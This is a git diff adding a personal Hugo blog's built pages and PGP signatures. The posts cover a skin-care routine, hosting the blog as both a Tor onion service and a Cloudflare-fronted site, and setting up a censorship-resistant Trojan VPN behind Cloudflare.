    \ No newline at end of file diff --git a/public-clearnet/posts/skin_routine.asc b/public-clearnet/posts/skin_routine.asc new file mode 100644 index 0000000..637a3a9 --- /dev/null +++ b/public-clearnet/posts/skin_routine.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA4YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qeFwP/RiFuFOZKLFhrUZCc9t51Kb6 +oa6N/m/jdiRz7fnD9VyU93+iSKXB+pUXqR8cMP62orWs7yp6oJWK6zOAKRydswYY +eFo1g44bTmrhNPZ+rI1A7U/GAZ4qjnDyEy0EbkDPkBdybWBIwubdskDgvYb/fu01 +7BQIkHjtrDus1J93hLE6JVLb7HUC8z980rNRQ+IdgyDTt0EhqCIbqgE8+C/+k/Km +7Oi4Fbgtj8QzRX0hEBZv2aQjM+EVkusDty6XjEGvOJ9LDNo5vLYyFu0SGImNDTSl +fPnqThrU7XyIzL8Z4P6R2JKrE189BoPKmrCIDhRsONnuwnB5NjQcoRzh34fNEs5h +6uYXz4K9aZ1xIIbxr53jfgpxbWVhucolnyEHxn4BFfsCwfrWBId+otwsctvkuvVf +vxFilGDMqNXEIg4TC2h827y1yrgBIA8iQQE/Nj6du0z9NZkF/6V1jywzQ/69HP8S +Dkh3R75SoGNzkCEIJltKUZYm1CuZuUdVMX9vAKVJGnAyBdwlbj2MwxGkNkaFNRMu +DW4kFSL1ofgjU5iAIMr6L37YSDrQ9WhMYUMeScKQ/uJPq/W9P3ZQVcxkCiC0NK2a +6MIv9aNBobDksb5LwZRwBWCxyNu0JsnXinUWxpg/trcr/8Ekzf6Rpq89t1lghypX +pkjH8Z2Tnpb2mnWfv/7Q +=lUt/ +-----END PGP SIGNATURE----- diff --git a/public-clearnet/posts/skin_routine/index.html b/public-clearnet/posts/skin_routine/index.html new file mode 100644 index 0000000..cbae675 --- /dev/null +++ b/public-clearnet/posts/skin_routine/index.html @@ -0,0 +1,72 @@ +Skin routine | AlipourIm journeys +

    Skin routine

    My skin routine!

    I don’t know how to answer the “why?” or “whyyyyy?” or even “why the f***?” I have a skin routine. +Last year, after I came to Germany, I asked a female friend about how to do skin care. +She touched my face and said, “Knock on wood, you have good skin!”. +So… idk why I decided to take extra care of my skin, but I did!

    Generally speaking, things like this make me feel good about myself. +Like I’m doing something positive while not being tortured! +It’s always fun to rub cream on your face or gently massage it. +Even cleaning the face skin feels refreshing. +Everything also smells nice!

    Oh… and yeah, idk why I’m not good at excercising, but I really like to do things like this! +Weird. +I should definitely start going to the gym and working out. +It is needed for me.

    So… I decided to watch a few Youtube videos, and a guide about skin care for men. +My routine is super simple! +I have a face cleanser that I use first and wash my face with it. +It always feels refreshing and nice to use it! +I initially bought the CeraVe cleaner, but switched to “Jack Black Pure Clean Daily Facial Cleanser” after that one ended. +The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin. +You don’t need to use the cleanser in the morning, but you should definitely use it at night. +It’s ok to wash your face with water in the morning.

    The next step for me is applying the toner. +I use “NIVEA Derma Skin Clear Toner”. +It smells really nice and is quite refreshing to apply to the skin! +The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not. +I gently rub it and let it dry; no rinsing is required here.

    After this, I apply an exfoliant to exfoliate my skin. +I’ve been using “Paula’s Choice Skin Perfecting 2% BHA Liquid Exfoliant” so far, but this time I got “BULLDOG Original Exfoliating Face Scrub for Purer Skin”. +Haven’t used it yet, but Paula’s choice one is definitely good. +The thing with it is that you don’t have to massage it; it’s not physical; it’s an acid. +I prefer the scrubby ones, but I think these are better for your skin. +I’ll see how I like the new one, and if I prefer it or not. +No rinsing is required here either.

    I then apply my eye cream, which is also from CeraVe. +Haven’t really seen much of a difference under my eyes, but it is supposed to help. +I don’t know! It feels good to apply the eye cream regardless.

    The next step for me is the best one! +Moisturiser. +Yayy!!! +It actually feels weird to use a moisturiser since I’ve watched Mortuary Assisant’s gameplay, and the last step there for embalming the body is applying moisturiser. +Feels weird. +The one I use is water-based, hence perfect for men. +I use “Neutrogena Hydro Boost Aqua Gel Moisturiser”. +As a man, if you use oil-based products, you’ll get acne. +So don’t.

    I learned to use pads for applying some of these stuff, it feels cooler when applying the things to your face, and it specifically feels good when you gently tap your face with a cotton pad! ^^

    And… last but not least is applying sun screen. +Nothing special here. +I just make sure to use SPF 50+ sunscreen for better protection.

    Even if it does nothing, it still makes me feel good about myself.

    The whole routine does not take more than 10 min, but gives me an energy boost and a lot of good vibes both at night and in the morning!


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSpuHQ//XvJ3YkPuPbDbaBf9PcLKftYmTRA2WWn14l1ZnLAav0MeEPVlwENAMQ5W
    +hwAwfw1yF1KxMwLcskXYTpghSfIHegDjaXJqWctBQFJ8sdCUJNQyk+LTcJ1EXmED
    +HhZrZJw8UsFcgyLs56pbBsIjjFMI4PbFWPxLgPu+tEpgIY8fSXzIb/gsUb/K3vZb
    +JsDUyLjHwsoCn9oQFp/hE54i3LjuWtPipnSlxmWUx7AhtZUVICCQJP3/KelhXQdi
    +2fPmTsVNIzRtCxjnwII6KZtqKtj1mEaIFmmykKIsRpyNIRvNjDFkCxor+NAYKJmC
    +veUzhll/LpNDAnrMAZ8ykEyhInlIHFtsH8PKiWDUhhrP4eggLmnBBFYVHrZ36BU9
    +48pn5odcK1Pz37rHwQKqm8RgL5PC09s2XWo6BJZGUwHjMDq8Kxtswp5JrRsAlmmi
    +8yk4/W4ASJfrE5ns+PSC24ogyNx/tu/2NiT5IlmpSilr5CGN9HhbfvXERM3OGHwF
    +MeTRc61McdgHDHvg0V1PdE4Pe/wLZgzKHu/H+1E04P1uVHj102RXV7HFfYYDv59b
    +suCSlTj/j2dNZuwGaw8wG2U17nGng9XkCJ1J2xXKKUb2gqIpOHVPF3yRGBnZwvpX
    +1bPgM8l3ItO6T55D4Ala2glHtQnhJRmi9GcdI47GpNoc2PWWKrA=
    +=dBAx
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/skin_routine.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/skin_routine.md.asc
    +gpg --verify skin_routine.md.asc skin_routine.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/tor_clearnet_blog.asc b/public-clearnet/posts/tor_clearnet_blog.asc new file mode 100644 index 0000000..034995a --- /dev/null +++ b/public-clearnet/posts/tor_clearnet_blog.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA4YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qEycP/i2+eo0HI83v/HRkUACefGHL +0EkHQTMPSYAeff8l+cUr86zDXvAws6tfT2PNx0+ZGqG0kbjk81pgIXlKnYL7gzci +vTpasvLCoXjfEkFT2cco8wOBZ3RtzmWTzefTbxgVbtbu/j3/bOzoc0QbKDfPdgTM +0wvGq62chbyBMbVwn/sMdYauhYShCKjzyCNA8n4IKYW17fOi/m64f/QsGAJRT590 +OJ+eTb9RznJnAuRpwvvz8Lk6rqFN79udzHSmRSeShiSWKBa6yqUoJDBIEQ4iYNTy +eIvDNWsfoOXbYX6TubtA4u77B8pBdFx9eSIaeaANaSqyyM2FUV3p6tyzRAySLR0U +wHrQ4ZID46gHLY1S7+Avj72/J83UF3DajJ7rRWb2hkHpFAKhk9i0h02ykNeS41ZM +tRtSt+OqJwJuqxzo4bPHN054CDsydrHnUtckZx155T+oQW6YvUxWDY5/Yp/njnzz +UQuIpxUGt1Zxv499z4VnAusFKzFxoi7rq7IQRYZboo8ObHhQCI6XtvI3vtqN5NDx +2yjlkuK5RP2pyYAg6ha7Vcp3sxnRVwSSTBtFDjUeXteGpYj9EnNVuwR281z0EjT+ +yS+1sdIH3AkXJs550sAkRsaI3xLMQzAL8ApKSkkrEvTAxvgtzwmGojb8dlCztFPj +enzV9K/nDUbn9douKgCY +=gPUD +-----END PGP SIGNATURE----- diff --git a/public-clearnet/posts/tor_clearnet_blog/index.html b/public-clearnet/posts/tor_clearnet_blog/index.html new file mode 100644 index 0000000..53b4a99 --- /dev/null +++ b/public-clearnet/posts/tor_clearnet_blog/index.html @@ -0,0 +1,154 @@ +Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod | AlipourIm journeys +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy.

    TL;DR — The site is built once (Hugo project), published twice:

    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.

    1) Tor hidden service (onion) basics

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    Install & configure Tor (Debian/Ubuntu):

    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    HiddenServiceDir /var/lib/tor/hidden_site/ +HiddenServicePort 80 127.0.0.1:3301

    Make sure the directory is owned by Tor’s user and private:

    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    2) Nginx for the onion (localhost-only)

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    /etc/nginx/sites-available/onion-blog:

    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).


    3) Hugo + PaperMod setup (and version bumps)

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    4) Dual builds (clearnet + onion) and one-command deploy

    I publish the same content twice—once for each base URL and docroot:

    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem

    Clearnet Nginx vhosts:

    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.


    6) Troubleshooting I ran into (and fixes)

    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS:
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.

    7) “Not secure” in Tor Browser?

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).


    8) Day-to-day workflow

    • Create content:
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • Publish both:
      build-both
      +
    • (Optional) Auto on save:
      find content layouts assets static config -type f | entr -r build-both
      +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.

    Final notes

    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.

    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
    +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
    +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
    +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
    +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
    +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
    +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
    +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
    +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
    +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
    +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
    +=QlNw
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md.asc
    +gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/view_count.asc b/public-clearnet/posts/view_count.asc new file mode 100644 index 0000000..d36a196 --- /dev/null +++ b/public-clearnet/posts/view_count.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBAYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qZ0YQALKtL3KlVh0wBomD2nQ/2qnY +uV6OAGJ1nREjONc6TSHHaC7bPCwpRhyaYWpcAgcW1Si7A+Q6s3ocaHgGBd0rGCVV +96r12uq96bGX5uNtlyjCoTuJm+p6nq3pL/TWmjnxH9OKYSmFe3U4TTQtrlTc0B5t +BGbth8H7TtRVyXekQ2HD8pfLsDhmZQZr44EcMYcMjqAj9n/QHptDPghrPufeXM/e +OdOOftYJ4SjLVEDf2aJUzugmzWVG2W23XE3PMIixNXuvfOPJD1twRv+0dIo8+L9L +P4yS7DRxUnwjZpyTHOdoO95iI0eM1czOI5sf5+KcPJE4FMHfupVeAVhX70wzZfyO +ce9C8qbeJgtrm3Wd+K2EcqQpyguefXTcOA03WRW1fWej/FBykZ87TWsBkz3qixpV +pFX7xfpKNVqrSDEV2/3UhJjt5nY9rDKenwoBCChwc3JKWuIr/qmAKy4wEInywwY8 +gBnVmr/te2yn8lthVuDRkHvDmtnD+lIpHyRhFuGXiW1ny55Sk/UFF0fTqT7vIsa0 +lfbgcAO8IIZPpIN/KVpbYk4FUOU4xYwwKpA7mGrgj7Fy0oOZSlSqaQkSdYGjwRLk +j9X2blNsl5c+VHJkyGudAJl4iALB71gslhSgmyPTaFBQm9iAFGOLp1uR8p5tPYSz +c4TOiuBGZ0yYTcJRnwZC +=y9O1 +-----END PGP SIGNATURE----- diff --git a/public-clearnet/posts/vpn.asc b/public-clearnet/posts/vpn.asc new file mode 100644 index 0000000..61d3708 --- /dev/null +++ b/public-clearnet/posts/vpn.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAsYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qxN4QAJvcmo9uQXTpPSE6AUa53k/i +aCyquJMY44qCUgaw3/LDlRYsXsrLpI9sG89hfLfqxq1L3nEBrvtLyRdp+UiNSBFh +TcETYJQkajXE/BRnboSQ3fMoA163GRYTPdIOhlximKZrEqiYl6IqFZBJXLvcELJC +nNmQ5Wo61Bxi/+relQvCbXwISpFwDxZjcEIP6p4dTSIqAXMPzCRShJcGbswDSYDq +KuzK4HvB6YSeMolyAmDONTgb9V35fAzeWjYVqRM6r/WaBjgjaJE8x/d/Jb8zghjb +YdQc256bqEBjd7KCxmBE/828yJUd5hhdVX16i59NdnvdywoemAmV7bvR1pbFrnEA +GWWSF7Xl33c90Z39GGD7tCHuKKRS95s7DpL1g+fGtAvCnYfyvaCpp8i8DAZf24WL +v0Il/pBwQDddrYuCGmNCU1s28pr5FzAGxbjtIgrnd2qppcYOfMsccW7qDDNLaQu5 +cCAGqlohuPUsieuqArWnCqvreTdGHH/WLCwKtAroS7NzTcJN5lvX656gdRvjGgnU +NXBDojkEq+xufE8QEEs/Ea2Cck2/c3y0cI4AcQwSw8sEPYqD6Mzke/2asm0MYmXw +OVVcvGH6+6xsSWS5SBMrQ4vT0c5//eNHe6iSqSKz8Sf08sq+DB6qlFLpGZ34RFcd +rJJcAi3T+TfWWP2WoFIi +=tFX5 +-----END PGP SIGNATURE----- diff --git a/public-clearnet/posts/vpn/index.html b/public-clearnet/posts/vpn/index.html new file mode 100644 index 0000000..439a223 --- /dev/null +++ b/public-clearnet/posts/vpn/index.html @@ -0,0 +1,67 @@ +Stealth Trojan VPN Behind Cloudflare Guide | AlipourIm journeys +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    We’ll anonymise domains and secrets, so substitute with your own:

    • VPN domain: web.example.com
    • Panel domain: panel.example.com
    • Secret WS path: /stealth-path_abcd1234
    • Password: <PASSWORD>

    Architecture at a Glance

    Think of it as a disguise party:

    • Trojan = the shy guest (your VPN protocol)
    • Nginx = the bouncer checking IDs (reverse proxy)
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • Your fake website = the mask (camouflage page)

    Traffic flow:

    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)

    Step 1: Panel Setup (panel.example.com)

    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • Choose a funky web base path like /panel-bananas_42/.
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • Test it at https://panel.example.com/panel-bananas_42/.

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!


    Step 2: Trojan Inbound

    In 3x-ui, create a Trojan inbound:

    • Local port: 54321
    • Transport: WebSocket
    • Path: /stealth-path_abcd1234
    • Security: none
    • Password: <PASSWORD>

    Step 3: Nginx for VPN Domain (web.example.com)

    Your Nginx is the gatekeeper. Sample config:

    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    Step 4: Firewall Rules

    Lock things down! Only Cloudflare should reach you:

    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    Step 5: Client Config

    Trojan URI:

    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN

    iOS clients: Shadowrocket, Stash, FoXray
    Android clients: v2rayNG, Clash Meta, NekoBox


    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    Symptom: 520 Unknown Error (Cloudflare)

    • Likely cause: Nginx couldn’t talk to Trojan.
    • Check Nginx error log:
      tail -n 50 /var/log/nginx/error.log
      +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.

    Symptom: 526 Invalid SSL certificate

    • Cloudflare → Nginx cert mismatch.
    • Run:
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • Make sure CN = web.example.com. If not, fix your cert.

    Symptom: Blank page on panel

    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • Watch for sneaky trailing spaces!
    • Test locally:
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +

    Symptom: Client won’t connect

    • Run a WebSocket test:
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.

    Symptom: Censor still blocks you

    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      → They’ll find your origin IP. Use a second VPS or lock those ports down.
    • Did you use an obvious path like /ws?
      → Use a random-looking one like /cdn-assets-329df/.

    Pro Tips & Fun Tricks

    • Serve a fake blog or portfolio at root so your domain looks legit.
    • Rotate WebSocket paths occasionally.
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.

    Conclusion

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    • Looks like normal HTTPS.
    • Hides your origin IP.
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.

    Congrats — you’ve built a VPN with both style and stealth. 🥷


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
